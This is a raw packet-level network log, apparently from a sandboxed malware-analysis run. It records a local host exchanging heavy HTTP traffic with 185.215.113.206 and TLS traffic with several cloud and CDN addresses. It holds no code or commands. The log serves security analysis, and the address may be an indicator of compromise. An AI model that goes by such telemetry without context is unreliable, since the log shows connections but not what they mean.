Nov 20, 2024 16:50:52.956173897 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.956190109 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.958077908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.958097935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.958112955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.958128929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.958134890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.958144903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.958153009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.958183050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.959877014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.959892988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.959932089 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.959949970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.963160038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.963181019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.963196993 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.963212013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.963212967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.963227987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.963232994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.963275909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.966500044 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:52.966533899 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:52.966722965 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:52.966763973 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:52.966768980 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:52.966772079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.966792107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.966808081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.966820002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.966823101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.966834068 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:52.966859102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.967045069 CET	49792	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:52.967056990 CET	443	49792	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:52.967186928 CET	49793	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:52.967201948 CET	443	49793	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:52.971040964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.971060991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.971085072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.971098900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.971117020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.971117020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.971163988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.971163988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.975601912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.975620985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.975636005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.975651026 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.975666046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.975717068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.975717068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.979468107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979487896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979505062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979517937 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.979521990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979532957 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.979537010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979552984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979556084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.979568005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979568958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.979582071 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.979583025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979598045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979610920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.979613066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.979651928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.980721951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.980741978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.980784893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.980819941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.986053944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.986072063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.986088037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.986104012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.986118078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.986121893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.986144066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.986174107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.989392996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.989411116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.989428997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.989461899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.989490986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.991197109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.991242886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.991249084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.991276979 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.997191906 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.997234106 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:52.997582912 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.998172998 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:52.998187065 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:53.051330090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.051410913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.051425934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.051466942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.051826954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.051870108 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.051939011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.051985979 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.052788019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.052802086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.052846909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.053749084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.053797960 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.107610941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.107768059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.107825994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.108953953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.109020948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.109553099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.109602928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.111071110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.111085892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.111145020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.111149073 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.111156940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.111176014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.111190081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.111196995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.111248970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.112261057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.112273932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.112353086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.113225937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.113318920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.113543034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.113893986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.114192963 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.114204884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.114255905 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.114986897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.114999056 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.115041971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.115068913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.115894079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.115950108 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.116086006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.116125107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.116863012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.116874933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.116916895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.117619038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.117679119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.117788076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.117832899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.118577003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.118653059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.118769884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.118817091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.119546890 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.119657040 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.119735956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.120347977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.120383978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.120428085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.120549917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.120615959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.121334076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.121385098 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.121495008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.121536970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.122154951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.122239113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.122308969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.122350931 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.123137951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.123281956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.123342991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.124097109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.124145985 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.124242067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.124380112 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.125015020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.125077009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.125128031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.125241041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.125936985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.126024961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.126055002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.126106977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.126979113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.126991034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.127032995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.127084970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.127960920 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.127973080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.128011942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.128025055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.128792048 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.128837109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.128961086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.129005909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.129743099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.129789114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.129910946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.130017996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.130708933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.130721092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.130759954 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.130781889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.131532907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.131577969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.131690025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.131755114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.132503986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.132652044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.132700920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.133433104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.133583069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.133593082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.133630037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.134205103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.134253025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.134372950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.134767056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.135154009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.135196924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.135323048 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.135512114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.136090994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.136142015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.136236906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.136281013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.137058020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.137068987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.137115955 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.138034105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.138092995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.138173103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.138339996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.138828039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.138961077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.139137983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.139187098 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.139785051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.139801025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.139844894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.140780926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.140799046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.140826941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.140841961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.141679049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.141722918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.141839027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.141887903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.142540932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.142554045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.142590046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.143481016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.143532991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.143662930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.143894911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.144448996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.144612074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.144642115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.144661903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.145426989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.145441055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.145482063 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.146050930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.146104097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.146241903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.146289110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.147176981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.147222042 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.147341013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.147382021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.148082972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.148096085 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.148132086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.148163080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.148642063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.148716927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.148736954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.148792982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.149559021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.149610996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.240082026 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.240153074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.348567963 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:53.348613024 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:53.348830938 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:53.348923922 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:53.348939896 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:53.362525940 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.363022089 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.363060951 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.363437891 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.363930941 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.364017010 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.410043955 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.411576033 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.411591053 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.412688971 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.412791014 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.413744926 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.413808107 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.414803028 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.423974037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.456084013 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.456096888 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:53.464482069 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:53.465989113 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:53.466017008 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:53.467143059 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:53.467228889 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:53.468564987 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:53.468667984 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:53.469111919 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:53.501151085 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:53.511337996 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:53.511713982 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:53.511729956 CET	443	49785	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:53.559546947 CET	49785	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:53.573179007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.907912016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.908087015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.908258915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.908287048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.908530951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.908571959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.909113884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.909146070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.909509897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.911238909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.911253929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.911290884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.911303043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.911354065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.911371946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.911386967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.911650896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.911695004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:53.911858082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:53.912560940 CET	80	49752	185.215.113.206	192.168.2.9
